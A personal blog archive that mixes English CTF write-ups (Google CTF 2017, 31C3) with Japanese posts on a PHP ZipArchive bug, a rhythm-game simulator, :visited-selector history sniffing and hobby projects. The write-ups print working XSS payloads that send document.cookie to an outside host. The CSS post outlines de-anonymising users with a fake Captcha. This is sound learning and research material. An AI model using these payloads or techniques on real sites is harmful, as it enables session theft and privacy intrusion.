Google CTF 2017 – Geokitties v2 writeup

Overview

Problem page:
https://geokittiesv2.web.ctfcompetition.com/

Copy of source code:
https://gist.github.com/tyage/cac08c8e17b90b840fb22cb434cff127

It receives comment, then admin checks it and clicks a link.

The comment is validated by using htmlparser2.

Allowed tags are: p, a, b, img, br, i
Invalid attributes: on(.*)= and href=javascript:...

What we should do is find the differences in parsing between Google Chrome and htmlparser2.

After some time, I realize that when input is utf-16 string, Chrome parses it as utf-16 string but htmlparser2 does not.

For example, the html below is parsed as html element \x00a\x00 in htmlparser2.

\x00<\x00a\x00>\x00<\x00/\x00a\x00>\x00

<\x00a\x00> is not a valid tag, so we should create a valid html link like below.

\x00<a \x00>\x00<\x00/\x00a\x00>\x00

Now, htmlparser2 recognize a html tag but chrome does not recognize it as html element.

So we can construct an valid html .

'\x00<a \x00' + "<a href='javascript:location.href=`//tyage.net/`+document.cookie'>".split('').join('\x00') + '</a>'

Finally, admin gives us a flag: CTF{i_HoPe_YoU_fOunD_tHe_IntEndeD_SolUTioN_tHis_Time}

Google CTF 2017 – The X Sanitizer writeup

Overview

Problem page:
https://sanitizer.web.ctfcompetition.com

Copy of source code:
https://gist.github.com/tyage/6eabacf6001bd068287842b1052132e4

The application sanitize input and render it.

Sanitizing method

The method of sanitizing is follow:

1. Remove the words that match with /meta|srcdoc|utf-16be/i from input.
2. Register a ServiceWorker then, render input in iframe
3. In iframe, it load <script src=sanitize> which executes the following code:

onload = _=> setTimeout(_=> parent.postMessage(document.body.innerHTML, location.origin), 1000);
remove = node => (node == document) ? document.body.innerHTML = '' : node.parentNode.removeChild(node);
document.addEventListener("securitypolicyviolation", e => remove(e.target));
document.write('<meta http-equiv="Content-Security-Policy" content="default-src \\'none\\'; script-src *"><body>');

4. The code removes the node which violates CSP.
5. To prevent loading the attacker’s script, ServiceWorker overrides the response of contents as following code:

with(document) remove(document === currentScript.ownerDocument ? currentScript : querySelector('link[rel="import"]'));
// <script src=x></script>

6. This code remove currentScript or html import element.
7. Now, doument.body returns an sanitized html!

Evade from sanitization

But wait, why google uses with(document) ? (It is deprecated.)
Then, I thought I can disable the execution of document.remove by using the technique of HotCows Dating

OK. Let’s input the html below and confirm that it is not sanitized.

<form name=remove></form>
<link rel=import href=//tyage.net>

Execute payload

But sadly, the content which html import load is overrode by ServiceWorker.

So some techniques are needed to execute attacker’s script.

Soon, I realized that we can import the url: /sanitize?html=URL_ENCODED_HTML.
And URL_ENCODED_HTML can be a string that is not matched with /meta|srcdoc|utf-16be/i (e.g. <%6deta>).

Next, we use utf-16be to execute our payload.

Here is useful link: http://masatokinugawa.l0.cm/2012/05/utf-16content-security-policy.html

/sandbox?html=%00=%001 returns <!doctype HTML>\n<script src=sanitize>\n</script>\n<body>\x00=\x00a\x00l\x00e\x00r\x00t\x00(\x001\x00).

When charset is utf-16be, it is interpreted as 㰡摯捴祰攠䡔䵌㸊㱳捲楰琠獲挽獡湩瑩穥㸊㰯獣物灴㸊㱢潤社=alert(1)

OK, now we can get flag in cookie!

<form name=currentScript></form>
<link rel="import" href="/sandbox?html=<script src=%22/sandbox%3Fhtml=%2500%3D%25001%2500;%2500l%2500o%2500c%2500a%2500t%2500i%2500o%2500n%2500.%2500h%2500r%2500e%2500f%2500%3D%2500%2522%2500/%2500/%2500t%2500y%2500a%2500g%2500e%2500.%2500n%2500e%2500t%2500/%2500%2522%2500+%2500(%2500d%2500o%2500c%2500u%2500m%2500e%2500n%2500t%2500.%2500c%2500o%2500o%2500k%2500i%2500e%2500)%22 charset=%22%55TF-16BE%22></script>">

flag is: CTF{no-problem-this-can-be-fixed-by-adding-a-single-if}

嘘つきPHP ZipArchive::addGlobと壊れたファイルパス

こんにちは.
KMC5回生のtyageです.

この記事は, KMCアドベントカレンダー 5日目の記事です.
昨日はnonyleneさんの Android Studio をビルドする でした.

唐突ですが, 今日はPHPの話をします.

TL;DR

PHPのZipArchiveライブラリには, globパターンでファイルを追加する addGlob メソッドがある.
これにはいくつかoptionが指定できるのだが, 挙動がおかしい.
送った修正PRに反応をもらえたため, 12/1にリリースされた PHP 7.1 に含まれないかなと期待していたが, 特に進展はなかった.
みんな困ってないんか…?

ZipArchive::addGlob

PHPでオシゴトをしていると, PHPでZipファイルを作りたい瞬間があるのではないかと思います.
私も, リクエスト内容が書かれたjsonファイルや画像をZipファイルでまとめてPOSTする超コズミックなAPIを叩く, 最高の機会がありました. (社会の歯車である一労働者は, 用意されたAPIに文句を言う前に黙々と作業をしなければいけない時があります.)
また, 様々な都合でZip圧縮前のフォルダを残しておく必要があったため, こんなコードを書いたのです.

$dir = '/tmp/workdir/';
 
// create jsons/api.json
$jsonDir = $dir . 'jsons';
mkdir($jsonDir);
file_put_contents($jsonDir. 'api.json', json_encode($request));
 
// create archive.zip
$zip = new ZipArchive();
$zip->open($dir . 'archive.zip', ZipArchive::CREATE);
$zip->addGlob($dir . '**/**', 0, ['remove_path' => $dir]);
$zip->close();

ZipArchive::addGlobは, 第一引数にファイル検索パターンを, 第二引数にglobのフラグを, 第三引数にその他optionを指定します.
このoptionが今回の焦点となるのですが, 以下の項目が設定できます.

オプションの連想配列。次のオプションが使えます。

  • “add_path”

    アーカイブ内のファイルのローカルパスに変換するときにつけるプレフィックス。
    これが適用されるのは、
    “remove_path”“remove_all_path”
    で定義された削除処理がすべて終わった後です。

  • “remove_path”

    マッチしたファイルをアーカイブに追加する前に削除するプレフィックス。

  • “remove_all_path”

    TRUE にすると、ファイル名だけを使ってアーカイブのルートに追加します。

ref: http://php.net/manual/ja/ziparchive.addglob.php

ふむふむ.

今回は remove_path を指定しており, 期待していた挙動としては,

  1. archive.zip というファイルができる
  2. そこには jsons/api.json というファイルが含まれている

です.

もし仮に, remove_path を指定していなければ /tmp/workdir/jsons/api.json というファイルが追加されるため, 正しくAPIを叩けなくなります.

で, 得られた結果がこれです.

/tmp/workdir ᐅ php -v
PHP 7.0.13 (cli) (built: Nov 15 2016 23:52:36) ( NTS )
Copyright (c) 1997-2016 The PHP Group
Zend Engine v3.0.0, Copyright (c) 1998-2016 Zend Technologies

/tmp/workdir ᐅ unzip -l archive.zip
Archive:  archive.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        6  12-05-2016 18:04   /tmp/workdir/jsons/api.json
---------                     -------
        6                     1 file

あれ? remove_path optionを指定したのに /tmp/workdir/jsons/api.json のままですね…
どういうことでしょう?

問題1: add_path optionが必須

調べてみると, どうも add_path optionが有効でないと他のoptionが機能しないバグがあるようです.

issuePR はあるものの, まだマージされていませんでした.

仕方ないので, とりあえず add_path optionをつけて試してみることにします.

$zip->addGlob($dir . '**/**', 0, ['add_path' => 'prefix/', 'remove_path' => $dir]);

さて, この場合どうなるでしょうか?
/tmp/workdir/jsons/api.json から /tmp/workdir/ を削って, prefix/ を足すので prefix/jsons/api.json になりそうですね.
さて, 結果はというと…

/tmp/workdir ᐅ unzip -l archive.zip
Archive:  archive.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
        6  12-05-2016 18:12   prefix/sons/api.json
---------                     -------
        6                     1 file

oh…
jsons の j がどこかに消えて prefix/sons/api.json になってしまいました.

問題2: 消えた j の謎

これは霊障でしょうか?
それとも宇宙線の影響でしょうか?

PHPソースコードを見ながら検証してみましょう.
addGlob でファイルを追加する場合は php_zip_add_from_pattern という関数を見ればよさそうです. (ext/zip/php_zip.c#L1618)

追加するファイルのファイルパスを操作しているのはここのようです.
remove_path_lenremove_path optionの文字数, zval_file は恐らく検索して見つかったファイルのファイルパスを指しているのでしょう.

1
2
3
4
5
6
7
8
9
10
11
12
if ((zval_file = zend_hash_index_find(Z_ARRVAL_P(return_value), i)) != NULL) {
	if (remove_all_path) {
		basename = php_basename(Z_STRVAL_P(zval_file), Z_STRLEN_P(zval_file), NULL, 0);
		file_stripped = ZSTR_VAL(basename);
		file_stripped_len = ZSTR_LEN(basename);
	} else if (remove_path && strstr(Z_STRVAL_P(zval_file), remove_path) != NULL) {
		file_stripped = Z_STRVAL_P(zval_file) + remove_path_len + 1;
		file_stripped_len = Z_STRLEN_P(zval_file) - remove_path_len - 1;
	} else {
		file_stripped = Z_STRVAL_P(zval_file);
		file_stripped_len = Z_STRLEN_P(zval_file);
	}

7行目を読んでみると, remove_path を指定した場合, ファイルパス指すポインタの指すアドレスが remove_path_len + 1 分進みます.
上の例であれば /tmp/workdir/j の文字数分進みます.

どうやらこれが原因みたいですね.
なんで + 1 されているのかさっぱりわからないのですが, まだバグ報告すらされていないようなので, とりあえずissueを立ててPRを送りましょう.

Bug #72374 ZipArchive::addGlob remove_path option strips first char of filename
Fix #72374: ZipArchive::addGlob remove_path option strips first char of filename #1939

2週間くらいで返事がもらえ, bugfixとして認識してもらえたようです.
ただ, Breaking ChangeなのでPHP7.1.0かPHP8にマージされそうです.(などと言っているうちに7.1.0がリリースされたのですが…)

PRを出してから半年が経過し, このままだと忘れ去られそうなのでここに記録することにしました.
早くマージされるといいなぁ.

既存のテストは?

ところで, remove_path optionに対するテストがなかったかというと, 実はありました.
ext/zip/tests/oo_addpattern.phpt

こんなコードでテストしています.

$dir = realpath($dirname);
$options = array('add_path' => 'baz/', 'remove_path' => $dir);
if (!$zip->addPattern('/\.txt$/', $dir, $options)) {
        echo "failed\n";
}

ここで, $dirname = "/tmp/workdir/"; であれば, $dir == "/tmp/workdir" になります.
ということは /tmp/workdir/hoge.txt から /tmp/workdir を削って baz/ を先頭に足すoptionになるわけですが, 上記のバグから baz//hoge.txt ではなく baz/hoge.txt が生成されます.
おめでたいテストですね.
これも修正対象です.

終わりに

問題の原因は見つかり解決策も出したのですが, まだマージされていません.
自前ビルドのPHPを運用するのも厳しいです.
結局, working directoryを移動して, remove_path optionを利用しない方向で解決しました.

$dir = '/tmp/workdir/';
chdir($dir); // change working dir!
 
// create jsons/api.json
$jsonDir = 'jsons';
mkdir($jsonDir);
file_put_contents($jsonDir. 'api.json', json_encode($request));
 
// create archive.zip
$zip = new ZipArchive();
$zip->open('archive.zip', ZipArchive::CREATE);
$zip->addGlob('**/**');
$zip->close();

もし同じ問題を抱えている人がいれば, この記事が救いになりますように…

明日は dnek_ さんの「1年間の進捗」です.

プリパラで効率よく承認欲求を満たす

この記事は KMC Advent Calendar 2015 3日目(12/3)の記事です。

2日目の記事は、id: utgwさんの 古明地こいしのアドベントカレンダー&雑記と来年の抱負 でした。

今日はアドベントカレンダー用におもちゃを作ったので紹介します。

プリパラで承認欲求を満たす

最近、Twitterの「お気に入り」が「いいね」に変わりましたね。

そんな中Twitterやfacebookで「いいね」を集めている方もいらっしゃるかと思いますが、世の中にはもっと効率的に「いいね」を集める方法があります…

そうです、プリパラに行くのです!

女児向けゲームなのでこれまで縁のなかった方も多いかと思いますが、SNSでは通常味わえないほどの「いいね」をこのプリパラでは低価格で集めることができます。

1プレイ100円でリズムゲーム(ライブ)をプレイしたあとに「プリチケ」と呼ばれるカードが手に入るのですが、このライブを通じて通常2万前後の「いいね」を集めることができるのです。

1いいねが100円 といった「いいね」代行業者がある中、プリパラは 1円で200いいね を集めることができるのですから、コスパは最強と言えるでしょう。

【ゲーム中には「いいね」が勢い良く流れる】

https://gyazo.com/88b6e23f1d3bdc47d7a51f1d4efef836

リズムゲームでタイミングよく押せると「いいね」がもらえるのですが、もし合わなかったとしても「おしかったね」と励ましの言葉がもらえるので、ゲームが苦手な方も心が満たされるはず。
(決してpoor、bad、failのような冷め切った言葉ではない!!!)

プリパラシミュレータ

ただ、今すぐ「いいね」をあつめにプリパラに行くのも難しいと思うので、簡単なプリパラシミュレータを作ってみました。

Pripara Simulator

ハートが中心に来たタイミングで画面を押せば「いいね」を集めることができます。

さらに、ただただ「いいね」を集めたい人のために、「全自動承認モード」をご用意いたしました。

タイミングを合わせなくても「いいね」が得られるという超便利アイテムです。

https://gyazo.com/13e66d93b94d80c6c9743dff7ff632e2

これで皆さんの承認欲求がじゃぶじゃぶ満たされていけばと思います。

スマートフォンでも遊べます。

余談

2日前に思いたってかなり雑に作ってみました。

ちょうど作ってる途中で @hakatashi の Travis-CIで最強のデプロイ環境を構築する という記事が流れてきたので使ってみました。

Travis-CI is 便利。

あと、シミュレータでは「ラッキー!サプライズ☆バースデイ」の序盤を真似して作ってみたのですが、譜面の部分をES2015のgeneratorを使って実装してみたら思ったよりいい感じになったような気がしています。

scenario.js

let luckySurpriseBirthday = function * () {
  // ほんとにスペシャルなパーティーのはじまりは
  yield createCircle(1 / 8);
  yield * wait(baseStep);
  yield createCircle(0 / 8);
  yield * wait(baseStep);
  yield createCircle(7 / 8);
  yield * wait(baseStep);

また一部の筐体ではゲームのプレイ内容を録画できるようになっているのですが、作るにあたってそこで録画した内容がかなり参考になりました。ありがたい。

明日は id: 1995hnagamin さんの「好きなSCP-JPの紹介」です!

セキュリティミニキャンプ新潟でチューターをしていました

セキュリティミニキャンプ新潟が5/16, 5/17にありました。

ちなみにDEFCON Qualsが5/16~18にありました。

チューターとしてはあまり仕事をしていなかったかと思いますが、軽い発表をさせてもらいました。

:visitedセレクタのプライバシー問題とSNSでの利用

追記(2015年9月9日)

以下の記事は、2015年1月4日時点での内容となります。

2015年9月9日時点において、IE11で:visitedなリンクに対して透過度を変更できる仕様は修正されているようです。

参考: CVE-2015-1765, Internet Explorer 用の累積的なセキュリティ更新プログラム (3058515)

:visitedセレクタについて

半年以上前に少し調べたことについてまとめてみたいと思います。

まずCSSの擬似セレクタに:visitedがあり、:visitedセレクタではプライバシーの問題上、使用可能なプロパティが制限されていることはご存知の方も多いと思います。

訪問済みリンクの要素にbackground-imageを設定することで、訪問済みリンクの情報が漏れるという問題等の対策です。
(Calm brilliance – CSS Fingerprint: preliminary data)

詳細は Privacy and the :visited selector にある通りですが、そこでは

You will still be able to visually style visited links, but there are now limits on what styles you can use. Only the following properties can be applied to visited links:

– color
– background-color
– border-color (and its sub-properties)
– outline-color
– The color parts of the fill and stroke properties

In addition, even for the properties you can set for visited links, you won’t be able to change the transparency between unvisited and visited links, as you otherwise would be able to using rgba() or hsla() color values or the transparent keyword.

とあります。

CSS Fingerprint対策の他に、レンダリング速度で差が出ることで訪問済みかどうか判断できないようにRGB値以外のものは変化しないようになっています。(透過度も不可)

またJavaScriptでも訪問済みサイトを判定できないようにするため、getComputedStyleでstyleを取得した際は非訪問時のstyleが返るようになっています。

各ブラウザでの実装

ただし上記はMozillaの方針でして、他ブラウザでの実装はそれによりまちまちのようです。

W3Cのほうでは以下の様な記述はありますが、具体的な内容については見つかりませんでした。)

UAs may therefore treat all links as unvisited links, or implement other measures to preserve the user’s privacy while rendering visited and unvisited links differently.

試しに http://jsfiddle.net/tyage/fhrojfdn/ を表示させてみました。


Google Chrome (39.0.2171.95)

スクリーンショット 2015-01-02 16.17.33

Firefox (33.1.1)

スクリーンショット 2015-01-02 16.18.41

Safari (8.0.2)

スクリーンショット 2015-01-02 16.20.18

Internet Explorer (11.0.7)

スクリーンショット 2015-01-02 16.20.46


上が:visitedで透過度を変化させた場合、下が色だけを変化させた場合です。

おっと。IEでは:visitedで透過度を変化させることができるようです。

Chromeではなぜかアンダーラインだけ適用されています。

これによって描画にかかる時間の差から、訪問済みか訪問済みでないかが分かる可能性がありますが、うまくテストできなかったのでスキップします…

Twitter IDの表示

透過度を変化させ、SNSのIDを表示することを考えてみました。

Twitterを例に出すと、https://analytics.twitter.com にアクセスした場合 https://analytics.twitter.com/user/[id]/tweets にリダイレクトされます。

これを利用して、https://analytics.twitter.com/user/aaa/tweets から https://analytics.twitter.com/user/zzz/tweets までのリンクを全て重ねて表示するページを作ってみます。
(訪問済みリンク以外はtransparentになるCSSを利用するため、IEのみで動作します)

http://jsfiddle.net/tyage/dtna2qsg/

上記URLではTwitter IDが3文字の場合のリンクしか表示しないので多くの方は何も表示されないかと思いますが、5文字まで表示したところ以下のように私のTwitter IDが表示されました。

スクリーンショット 2015-01-02 18.51.30

表示されたIDを自動的に取得することはできませんが、Captchaと称してユーザに入力させれば取得することができそうです。(この場合、表示する内容はIDではなくてもよいですね)

5文字の半角英数字(小文字)IDを全て表示すると 36^5 = 60466176 個となるので現実的ではありませんが、4文字程度ならギリギリ表示できるのではないでしょうか。

IE以外でも

先ほどの例はIEで透過度を変更可能であることを利用したものでしたが、それ以外のブラウザでも利用できるものを考えてみます。

Twitter以外のサービスでいうと、pixivが利用できるでしょうか。

pixivでは http://www.pixiv.net/mypage.php にアクセスすると http://www.pixiv.net/mypage.php#id=[id] へとリダイレクトされます。

これを利用して以下のページを作ってみました。

http://jsfiddle.net/tyage/vwdxysmf/

このページではpixiv idから適当な4桁の数字を引いたものを入力することが求められるのですが、そのIDからID+9999までのリンクを表示するようになっています。

unvisitedなページは黄色い四角で、visitedなページは赤い四角で出力され、赤い四角をクリックするとpixiv idが表示されます。

background-colorを変えているだけなのでChromeやFirefoxでも動作します。

10万程度までなら難なくリンクを描画できるのですが、ユーザに選択させるのが難しくなりそうです。(今回は10000個表示しています。)

まとめ

IEでは:visited要素に対しても透過度を変化させることができるようでした。

パフォーマンステストによる訪問済みリンクの検出は今後の課題としします。

今回はSNSのIDの取得について考えてみましたが、「ID数が膨大であるため現実的な速度でページを表示できない」、「表示された内容の取得に際してユーザの操作を必要とする」といった理由からあまり現実的な方法は見つかりませんでした。

ただし、表示するリンクが数万程度で済む場合は現実的な手段があるかもしれません。
(また訪問者が「100個のWebサービスのうちどれを利用しているユーザか」程度なら問題なく表示できそうです。)

表示された内容の取得に関しては、偽物のCaptchaを取り上げましたが、他にもゲームの操作で取得する方法もあるかと思います。

今のところこれを利用した実際の情報漏洩は起こっていないと思いますが(【要出典】)、ブラウザの更新で似たような穴が生まれる可能性もあるので気にしておきたい点ではあります。

31C3 CTF – Page Builder writeup

This challenge needs only XSS but it is interesting to me :)

These guys have ripped off our designs and using them in their web pages builder! We’d Haxx them, don’t worry we’ll give you decent points for it. http://188.40.18.76/

スクリーンショット 2015-01-02 8.40.09

By using the form, we could generate a page.(such as http://188.40.18.76/output/19c94d778563b117e18e3442e887989aea14277d/filename)

It htmlspecialchars the “title” and “file content” but not “style” or “filename”.

The maximum size of “style” is 8bytes and that of “filename” is 65bytes.

Then, “filename” can be foo.php and “style” can be <?php a so that it shows PHP error.

(http://188.40.18.76/output/19c94d778563b117e18e3442e887989aea14277d/foo.php)

Parse error: syntax error, unexpected ‘” rel=”‘ (T_CONSTANT_ENCAPSED_STRING) in /var/www/html/output/19c94d778563b117e18e3442e887989aea14277d/foo.php on line 10

hmm… PHP code exeution looks difficult because maximum size of “style” is 8bytes and short_open_tag is offed. (and * is removed from “title” and “file content”)

So let’s search another vulnerability.

We can XSS with “filename”, because the error page above prints “filename” that is not escaped!

http://188.40.18.76/output/19c94d778563b117e18e3442e887989aea14277d/%3Cbody onload=%22eval%28location.hash.slice%281%29%29%22.php#
location.href=%27http://tyage.net/%27+document.cookie

(Notice: we put the code in location.hash to fit in the maximum length of “filename”)

Now, just submit a link above in the contact form and we capture the flag!

31c3_Y0u_H4v3_F0und_My_W34k_Err0R_P01n7

ウィッシュリストテロでミナミヌマエビが450匹やってきた

amazonの欲しい物リストにミナミヌマエビを入れていたら450匹届きました…(15匹で1セットの商品が30セット届きました。)

いわゆるウィッシュリストテロってやつです!

@mage_1868 さん許すまじ!!(ありがとうございます!!!)

家にある小さい水槽には入りきらなかったので、さらに水槽を追加購入し、それでも入りきらないエビは梱包材の発泡スチロールに入れています。

IMAG0112

掃除屋さんなだけあって、エビのおかげで苔だらけだった水槽や水草が綺麗になりました!!

before:

苔だらけの水草
IMAG0099

苔だらけのまりも
IMAG0115

after:

綺麗になりました
IMAG0132

新しい水槽にはざっと200匹以上が住み着いているのですが、数に圧倒されています…

IMAG0124

上が前からあった水槽、下が新しく買った水槽です
IMAG0130

餌は何でも食べると聞いたので、友達にもらった炭酸せんべいをあげています。

かわいいし掃除してくれるしとてもいい子たちなのですが、数が多いとストレスが溜まりそうなので、親戚に少しゆずる予定です。

養殖て大儲けしたらエビ御殿とか建てれないかなぁ・・・

ウィッシュリストはいつでも受け付けておりますので、お気軽にポチって下さい。

Atomエディタ用にVideo player pluginを作りました

コーディング中でも動画が見たい人種に向けたプラグインです。

BGA(background animation)を流しながらコードを書いたりすることが多いのですが、せっかくならエディタの背景で流したいですよね。

ということで作ってみました。

pluginページ: video-player

使い方

  1. vlcの実行ファイルへのパスを設定 (Macならデフォルト値が設定されています)
  2. “Video Player: Play” コマンドを実行
  3. 動画ファイルを選択
  4. “Video Player: Stop” コマンドで終了

再生できる動画

video要素を利用しているだけなので、音声もちゃんと流れます。

Atomはchromiumベースなのでogg, webm, wavが再生できるのですが、mp4等には対応していません。

chromiumで対応していない形式に関しては、vlcを呼び出してogg形式に変換しつつ配信しています。

そのため、vlcで再生可能な形式ならなんでも再生できます。(画像もいけます。)

今後のアップデート

コントローラを出すとか、複数動画連続再生に対応するとかは考えています。

バグ報告等はgithubのissueに投げてください。

pull requestも受け付けています。

その他

他に同じようなエディタプラグインあったら参考にしたいので教えてください。

正直、背景で動画流れてると集中できない気もする。